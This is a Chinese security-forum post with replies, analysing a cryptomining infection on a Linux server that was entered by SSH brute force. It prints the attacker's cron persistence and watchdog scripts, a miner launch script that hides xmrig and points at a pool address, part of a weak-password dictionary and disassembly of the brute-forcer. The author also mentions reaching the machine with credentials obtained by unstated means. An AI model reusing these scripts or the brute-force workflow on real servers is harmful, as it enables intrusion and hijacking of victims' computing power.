吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 23447|回复: 336
收起左侧

[PC样本分析] 记录最近与挖矿病毒的斗智斗勇(二)

    [复制链接]
gxkyrftx 发表于 2021-3-15 19:30
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 gxkyrftx 于 2021-3-16 10:47 编辑

0 前言

上一篇文章火了是我没想到的,感谢大家的鼓励,原来不少人都深受这个东西的困扰,近一个星期也在琢磨写点什么好,恰好蜜罐又报警了,于是题材来了。这个机器不是实验室的集群,但是经过一些方法(方法不能说-_-)知道了该机器的ssh用户名和口令。

1 网络连接

我的习惯一般是先看网络连接,使用netstat。上篇文章说了,黑客可能会进行bash替换,但是在这台机器上没有发现替换的痕迹,这是提前检查过的,所以系统自带的bash可以放心使用。

可以看到下面的图片里,本机开了n多个大端口,连接了很多主机的22,有一个的状态是已经建立连接,进程是sshd,另外都是等待状态。

ps1.jpg

这其实就是在同时对多个主机进行暴力破解,如果破解成功就是established状态,time_wait是还未破解成功,正在使用其他的用户名-密码对尝试。

随后使用ss再看一下

ps2.jpg

同样是本机对其他机器的ssh爆破,只不过这次看到了一个haiduc进程,我们使用grep,过滤出haiduc建立的连接,如下图所示

ps3.jpg

由此我们可以确定,haiduc应该是个恶意文件。(其实看到这,估计已经有大佬知道是什么情况了,因为haiduc这个工具还是蛮出名的,只不过我几个月前刚开始弄得时候啥也不知道,哈哈哈哈)

接下来我们随机挑选一位幸运进程,在/proc/幸运进程id,查看它的详细情况

5.png

然后我们就找到了haiduc的目录。文件夹的内容如下

6.png

2 进程列表

使用ps查看所有进程

4.png

可以看到很多sshd发起的进程,这些命令就是用字典p爆破scan.log里的每一条ip,具体的文件内容看文件分析一节。

3 screen列表

查了history记录没有,w也只看到我一个人,last也没有,于是就去看了一下screen列表,果然找到了一个screen。相关命令如下

screen -ls 查看有多少screen

screen -r screenid 连接某个screen

连接上去之后就是这个样子,不断的在尝试用户名-密码对。

7.png

我们选择ctrl+c停了它,然后查看history记录

ps4.jpg

记录显示,黑客步骤如下:

1.使用masscan对5个A段地址进行扫描,然后将存活主机写入ips,随后在ips中提取ip,写入bios.txt。
2.使用banner对bios.txt中的ip进行banner识别,将识别结果写入banner.log,然后在banner.log中提取banner为SSH-2.0-OpenSSH的ip,写入ips.lst,然后将其命名为scan.log。
3.使用haiduc对scan.log中的ip进行爆破,字典文件为p,把爆破结果写入到gasite.txt中。
4.查看爆破得到的结果,然后横向移动到某台机器上

4 cpu利用率

13.png

我们可以看到,飙到了1486%,是一个叫-bash的进程引起的,查看发起这个进程的文件位置,发现被删了,目录为/usr/bin/-bash。

5 定时任务

使用crontab可以查看当前定时任务

11.png

这里我们可以看到出现了一个新的目录,/tmp/.cache,我们可以看一下这个目录的内容

12.png

这里的bash和上面的cpu利用率最高的-bash有点像,但是并不是同一个病毒。这里暂时不提其他的病毒了(其实这台机器中了三种不同的病毒-_-),提其他的容易乱套,就谈这次的这些。

这个文件夹下的内容是挖矿文件,在第6节中分析。

6 端口扫描文件分析

就是前面我们提到了黑客扫描工具haiduc的文件目录,也提到了一些工具的使用方法,在此简单对这些文件做一个分析。其中scan.log,banner.log,bios.txt,ips,因为全是ip或者ip+banner,没啥意思,不写了。masscan这个软件太有名了,大家也都知道,不写了。

6.1 gasite.txt

gasite.txt是最后爆破的结果,第一列是用户名,打码的第一列是密码,打码的第二列是ip,后面的端口以及状态。

ps5.jpg

6.2 p

p文件是字典,这些部分内容如下。

root welc0me
root welcome
root Welcome
root welcome1
root welcome@1
root Welcome1
root welcome123
root welcome@123
root Welcome123
root Welcome@123

顺便提一句,这个字典现在已经很强大了,收集了整个内网很多用户名和密码,而且黑客还自己做了一些组合,使用用户名+短口令(例如123,666,2021等)的组合,真让人看的头皮发麻。。。

6.3 haiduc

这是一个爆破软件,使用密码字典爆破已知的ip,可以加的参数有:线程数,模式数,密码文件,端口,执行的bash命令
下面是主函数中关于参数的部分

 if ( !strcmp(argv[2], "-b") )
  {
    atoi(argv[4], "-b");
    v3 = argv[6];
    scanbclass((__int64)*argv, (__int64)argv[1], (__int64)argv[3], (__int64)argv[4], (__int64)argv[5]);
    decrypt_0((__int64)"                                                 [+]\n", (__int64)&v5, &v8);
    printf('X\x1F�', &v8);
    scan(*argv, argv[1], "scan.log", argv[4], argv[5], argv[6]);
  }
  if ( !strcmp(argv[2], "-r") )
  {
    atoi(argv[4], "-r");
    genrand((__int64)*argv, (__int64)argv[1], (__int64)argv[3], (__int64)argv[4], (__int64)argv[5]);
  }
  result = strcmp(argv[2], "-f");
  if ( !result )
    result = scan(*argv, argv[1], argv[3], argv[4], argv[5], argv[6]);
  return result;
}

根据配置的参数,调用scan函数进行扫描。scan函数也简单看一下
下面这一部分是调用/usr/sbin/sshd程序

.text:0000000000403206 loc_403206:                             ; CODE XREF: scandindiv:loc_40313D↑j
.text:0000000000403206                 mov     rdx, [rbp+var_9DA58]
.text:000000000040320D                 lea     rax, [rbp+var_1020]
.text:0000000000403214                 mov     esi, 7E8h
.text:0000000000403219                 mov     rdi, rax
.text:000000000040321C                 call    fgets
.text:0000000000403221                 test    rax, rax
.text:0000000000403224                 jnz     loc_403142
.text:000000000040322A                 mov     rax, [rbp+var_9DA58]
.text:0000000000403231                 mov     rdi, rax
.text:0000000000403234                 call    fclose
.text:0000000000403239                 mov     rax, [rbp+var_9DA80]
.text:0000000000403240                 mov     rdi, rax
.text:0000000000403243                 call    atoi
.text:0000000000403248                 mov     cs:maxf, eax
.text:000000000040324E                 mov     rax, [rbp+var_9DA78]
.text:0000000000403255                 mov     rbx, 'ibs/rsu/'
.text:000000000040325F                 mov     [rax], rbx
.text:0000000000403262                 mov     dword ptr [rax+8], 'ss/n'
.text:0000000000403269                 mov     word ptr [rax+0Ch], 'dh'
.text:000000000040326F                 mov     byte ptr [rax+0Eh], 0
.text:0000000000403273                 mov     [rbp+var_9DA6C], 0
.text:000000000040327D                 jmp     loc_40336E

再往下面,是读取密码文件

.text:0000000000402EF4 loc_402EF4:                             ; CODE XREF: scan+467↓j
.text:0000000000402EF4                 mov     eax, [rbp+var_13B4A4]
.text:0000000000402EFA                 add     eax, 1
.text:0000000000402EFD                 cdqe
.text:0000000000402EFF                 mov     rdx, [rbp+rax*8+var_9EA40]
.text:0000000000402F07                 mov     eax, [rbp+var_13B4A4]
.text:0000000000402F0D                 cdqe
.text:0000000000402F0F                 mov     rax, [rbp+rax*8+var_9EA40]
.text:0000000000402F17                 mov     rsi, rax
.text:0000000000402F1A                 mov     edi, offset aIncercSS ; "[+] Incerc: %s:%s              \n"
.text:0000000000402F1F                 mov     eax, 0
.text:0000000000402F24                 call    printf
.text:0000000000402F29                 mov     [rbp+var_13B4A0], 0
.text:0000000000402F33                 jmp     loc_40302D

接下来关键部分是验证是否登录成功,在checkauth函数里使用了libssh2库进行验证。

.text:0000000000402F74 loc_402F74:                             ; CODE XREF: scan+35F↑j
.text:0000000000402F74                 cmp     [rbp+var_13B498], 0
.text:0000000000402F7B                 jnz     short loc_402FD3
.text:0000000000402F7D                 mov     eax, [rbp+var_13B4A0]
.text:0000000000402F83                 cdqe
.text:0000000000402F85                 mov     rdx, [rbp+rax*8+var_13B460]
.text:0000000000402F8D                 mov     eax, [rbp+var_13B4A4]
.text:0000000000402F93                 add     eax, 1
.text:0000000000402F96                 cdqe
.text:0000000000402F98                 mov     rsi, [rbp+rax*8+var_9EA40]
.text:0000000000402FA0                 mov     eax, [rbp+var_13B4A4]
.text:0000000000402FA6                 cdqe
.text:0000000000402FA8                 mov     rax, [rbp+rax*8+var_9EA40]
.text:0000000000402FB0                 mov     rdi, [rbp+var_13B4E0]
.text:0000000000402FB7                 mov     rcx, [rbp+var_13B4D8]
.text:0000000000402FBE                 mov     r8, rdi
.text:0000000000402FC1                 mov     rdi, rax
.text:0000000000402FC4                 call    checkauth
.text:0000000000402FC9                 mov     edi, 0
.text:0000000000402FCE                 call    exit

5.4 banner

banner有三个参数,ip文件,端口号,线程数,分析了一下,太复杂了(我太菜了),不停的在跳转,也没啥有用的信息,选择放弃。不过尝试着用了一下,能识别的端口挺多的。

ps6.jpg

7 挖矿文件分析

前面我们提到了bash文件夹是挖矿文件,来看一下他们,经过总体分析,我整理出了执行顺序,下面按顺序分析。

7.1 x 文件

nohup ./a >>/dev/null &

不输出结果的方式,在后台运行a。

7.2 a文件

pwd > dir.dir
dir=$(cat dir.dir)
echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d
echo "@Reboot $dir/upd >/dev/null 2>&1" >> cron.d
crontab cron.d
crontab -l | grep upd
echo "#!/bin/sh
if test -r $dir/bash.pid; then
pid=\$(cat $dir/bash.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
sleep 1
else
cd $dir
./run &>/dev/null
exit 0
fi
fi" >upd
chmod u+x upd
./run &>/dev/null
    1.将当前目录写入dir.dir。
    2.将upd文件写入定时任务,定时任务文件为cron.d,然后运行定时任务。
    3.将shell脚本写入upd,然后运行
     4.随后运行run脚本

7.2.1 dir.dir

/tmp/.cache

6.2.2 cron.d

* * * * * /tmp/.cache/upd >/dev/null 2>&1
@reboot /tmp/.cache/upd >/dev/null 2>&1

7.2.3 upd

#!/bin/sh
if test -r /tmp/.cache/bash.pid; then
pid=$(cat /tmp/.cache/bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
sleep 1
else
cd /tmp/.cache
./run &>/dev/null
exit 0
fi
fi

这个脚本在检测挖矿程序是否在运行

7.3 run文件

#!/bin/bash
#ps aux | grep -vw xmr-stak | awk '{if($3>40.0) print $2}' | while read procid
#do
#kill -9 $procid
#done
proc=`nproc`
ARCH=`uname -m`
HIDE="xmrig"

if [ "$ARCH" == "i686" ];       then
        ./h32 -s $HIDE ./stak3/ld-linux.so.2 --library-path stak3 stak3/xmrig -o 159.203.14.2:443 -a cn/r -k >>/dev/null &
elif [ "$ARCH" == "x86_64" ];   then
        ./h64 -s $HIDE ./stak/ld-linux-x86-64.so.2 --library-path stak stak/xmrig -o 159.203.14.2:443 -k >>/dev/null &
fi
echo $! > bash.pid
  1. 根据平台架构选择软件,h32和h64是用于隐藏程序名的文件,根据HIDE的名称,改变挖矿软件的进程名。
  2. ld-linux-x86-64.so.2,xmrig都是挖矿软件,xmrig可以在github上找到的,这里就不分析了。
  3. 159.203.14.2是矿池服务器
  4. 最后将进程id写入bash.pid,结合上面的定时任务,upd脚本,如果只杀进程,根本处理不了。

8 第一次清理病毒的结果

对这个病毒,其实还是常规的方法,删文件,杀进程,清理定时任务。

这次需要杀的进程有点多,还有很多sshd扫描的,所以我选择根据进程名称批量删除,这里分享我的一个命令。

ps -ef | grep "scan.log p 22 nproc;"|cut -c 9-15|grep -v grep|xargs kill -s 9

ps显示所有进程信息,然后过滤出含有特定字符串的,然后找到进程后,剔除掉grep自身的进程号,然后使用将过滤出的进程号作为参数,kill掉所有进程

一般来说结束了,但是对于这台服务器并没有结束。进程重启了。

14.png

我们看一下这个进程的详细信息,发现文件被删除了。因此需要查其他方面的信息。

17.png

9 /etc/cron*排查

经过很长时间的排查,发现这个-bash总是会每一个小时重启一次,我们想到了cron.hourly这个目录,于是直接看一下这个目录的内容

15.png

看一下sync

16.png

病毒无疑了,也可以上威胁情报查一下,复制bin目录下的一个文件,然后改名,运行,最后删除自己,只留一个进程。而且后续发现,每个cron.* 目录(也就是cron.daily等目录)都有这个脚本的存在。

10 第二次清理病毒的结果

首先去bin目录删除sysdrr,发现无法删除,因为文件属性加了i,可以根据图中的命令删除。

18.png

同样的,删除sync定时任务的时候也需要用chattr -i先修改文件属性,然后再删除。至此,我们的服务器暂时安全。

11 总结

这次的几个病毒针对的是只有cpu的机器,挖的是xmr也就是门罗币,随着比特币的不断升值,各类数字货币的价格也一起升天,各类黑产也更加频繁,如何保护好自己的计算资源成为了一个大问题。在这次的清理中,还碰到了黑客也在登录的情况,我选择直接踢了他。

ps7.jpg

总结如下:

  1. 这台服务器被攻陷的原因还是因为ssh弱口令,弱口令是第一道门。
  2. 定时任务也需要定时看一看。
  3. 上一篇有朋友不知道威胁情报,国内比较好用的是微步在线,国外的我常用的是virustotal
  4. 近几个月来,校园网内网中的挖矿病毒50%都可以用两篇文章中的方法清除。因此可以考虑写个脚本(todo)。

免费评分

参与人数 165威望 +2 吾爱币 +237 热心值 +142 收起 理由
1saltedfish + 1 我很赞同!
232621597 + 1 + 1 我很赞同!
osyq + 1 + 1 我很赞同!,好奇问下挖完后结果如何传出
小橙子Top + 1 谢谢@Thanks!
xiaoer1 + 1 热心回复!
TiAmo_Zore + 1 + 1 我很赞同!
ZiZ6bvD9H + 1 + 1 谢谢@Thanks!
ffeiniao + 1 热心回复!
weiye588 + 1 + 1 我很赞同!
sjzbns + 1 我很赞同!
seetimeuc + 1 + 1 热心回复!
库克船长什么样 + 1 + 1 热心回复!
ForGot_227 + 3 + 1 用心讨论,共获提升!
wally2000 + 1 谢谢@Thanks!
ttao88 + 1 我很赞同!
怨三三 + 1 + 1 谢谢@Thanks!
Jayzz + 1 我很赞同!
好召召 + 1 谢谢@Thanks!
0615 + 1 + 1 热心回复!
战火恐龙 + 1 谢谢@Thanks!
JamesWang + 1 + 1 我很赞同!
wxrfirstblood + 1 我很赞同!
L1ni_0i + 1 我很赞同!
NM$L + 1 用心讨论,共获提升!
FLY-one + 1 + 1 热心回复!
Kurzarl + 1 + 1 谢谢@Thanks!
ljz112233 + 1 + 1 我很赞同!
moshouhun + 1 + 1 热心回复!
Linpapaa + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
小宅博士 + 1 + 1 谢谢@Thanks!
18581221312 + 1 + 1 热心回复!
shuaibi_chen + 1 + 1 用心讨论,共获提升!
maxuxu019 + 1 + 1 谢谢@Thanks!
叶灬凌风 + 1 + 1 用心讨论,共获提升!
Zyf862010 + 1 谢谢@Thanks!
不想头秃啊 + 1 + 1 我很赞同!
hngt + 1 + 1 我很赞同!
poiiop + 1 谢谢@Thanks!
FY-1573 + 1 + 1 热心回复!
绝地飞鸿 + 1 我很赞同!
516134 + 1 + 1 热心回复!
殊十二 + 1 + 1 收听了
肉蛋葱鸡 + 1 + 1 我很赞同!
侑燈 + 1 + 1 谢谢@Thanks!
红烧鱼 + 1 + 1 用心讨论,共获提升!
冯柟 + 1 热心回复!
ccccp + 1 用心讨论,共获提升!
madaoHines + 1 + 1 我很赞同!
yankaiyang + 1 + 1 我很赞同!
zxp1026 + 1 666
Goldrepo + 1 醍醐灌顶
哇卡s + 1 + 1 我很赞同!
whj1201 + 1 我很赞同!
万能的楼下小黑 + 1 + 1 厉害
fei8255 + 1 + 1 谢谢@Thanks!
ggyyff88 + 1 用心讨论,共获提升!
williamxia + 1 + 1 我很赞同!
蛋黄菌 + 1 + 1 用心讨论,共获提升!
Vocin + 1 + 1 收藏学习
俏皮de同桌 + 1 用心讨论,共获提升!
zhicheng92xy + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
zju_yu + 1 我很赞同!
非雾 + 1 + 1 我很赞同!
KONKAv983 + 1 + 1 用心讨论,共获提升!
ctflike + 1 + 1 学到了点东西谢谢分享
爱我666 + 1 谢谢@Thanks!
xiyan_9 + 1 + 1 我很赞同!
shiqiangge + 1 鼓励转贴优秀软件安全工具和文档!
骑士者 + 1 + 1 用心讨论,共获提升!
思茉 + 1 + 1 我很赞同!
柒呀柒 + 1 + 1 谢谢@Thanks!
橘子驹 + 1 + 1 热心回复!
fxl + 1 + 1 热心回复!
taczer + 1 + 1 用心讨论,共获提升!
GRE58397 + 1 用心讨论,共获提升!
OneLastKiss + 1 + 1 谢谢@Thanks!
乘风破浪happy + 1 热心回复!
飞鸿戏游龙 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
qin00 + 1 + 1 热心回复!
IMRE + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
meow_mtl + 1 + 1 我很赞同!
忆无寒 + 1 + 1 热心回复!
liuzx66 + 1 + 1 谢谢@Thanks!
冰蚌 + 1 + 1 谢谢@Thanks!
joeyli + 1 鼓励转贴优秀软件安全工具和文档!
404undefined + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
W小姐W先生 + 1 热心回复!
哥斯拉巨炮 + 1 + 1 谢谢@Thanks!
qianwei11 + 1 + 1 我很赞同!
lminl + 1 + 1 谢谢@Thanks!
yanggbygb + 1 + 1 我很赞同!时刻警惕。。。
gail + 1 + 1 我很赞同!
lsjsss + 1 我很赞同!
a282619133 + 1 热心回复!
monk3435 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
pelephone + 1 我很赞同!
南方路人 + 1 + 1 我很赞同!
turinggu + 1 + 1 我很赞同!
52pj2018 + 1 + 1 我很赞同!
昆局水段 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

JY9420 发表于 2021-3-15 19:41
大神牛B 太厉害了
chmod755 发表于 2021-3-17 11:15
其实有的病毒会在  ~/.bashrc  /etc/bashrc  ~/bash_profile 里写入 这个楼主你看了没?
 楼主| gxkyrftx 发表于 2021-9-2 10:53
@osyq   挖完后结果如何传出。这个分两种情况:1.机器可以与矿池直接通信时,直接设置挖矿软件的参数包括矿池地址、你的钱包账户等。2.机器不能直接与矿池通信时,找代{过}{滤}理,先去找一台既能连通挖矿机器又能连通矿池的服务器,然后在这台机器上写转发的脚本,将不通矿池的流量转发至矿池。
 楼主| gxkyrftx 发表于 2021-3-16 11:13
cn1977 发表于 2021-3-16 11:00
这种纯技术贴,看起来有点蒙圈,我们的PC会中这种病毒吗?

两篇文章都是是linux服务器的,来源于实际,windows下的话暂时没遇到过。不过根据我对这些挖矿软件的了解,挖矿软件都是支持好多平台的。

免费评分

参与人数 1热心值 +1 收起 理由
lingyun67 + 1 热心回复!

查看全部评分

xiauhna 发表于 2021-3-15 19:59
大佬牛逼,我又学到了
SKgarlic 发表于 2021-3-15 19:39
厉害66666
 楼主| gxkyrftx 发表于 2021-3-15 19:43
JY9420 发表于 2021-3-15 19:41
大神牛B 太厉害了

玩了好长时间了,唉,水平还是不够
刘奕 发表于 2021-3-15 19:49
太强了太强了
mtx911 发表于 2021-3-15 19:51
膜拜买票

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
星辰月 + 1 + 1 我很赞同!

查看全部评分

爱慕乂木子 发表于 2021-3-15 19:52
大神牛B 太厉害了
 楼主| gxkyrftx 发表于 2021-3-15 20:01
xiauhna 发表于 2021-3-15 19:59
大佬牛逼,我又学到了

要不要我去3楼膜拜你
进击的怪物 发表于 2021-3-15 20:23
大佬厉害
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 12:04

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表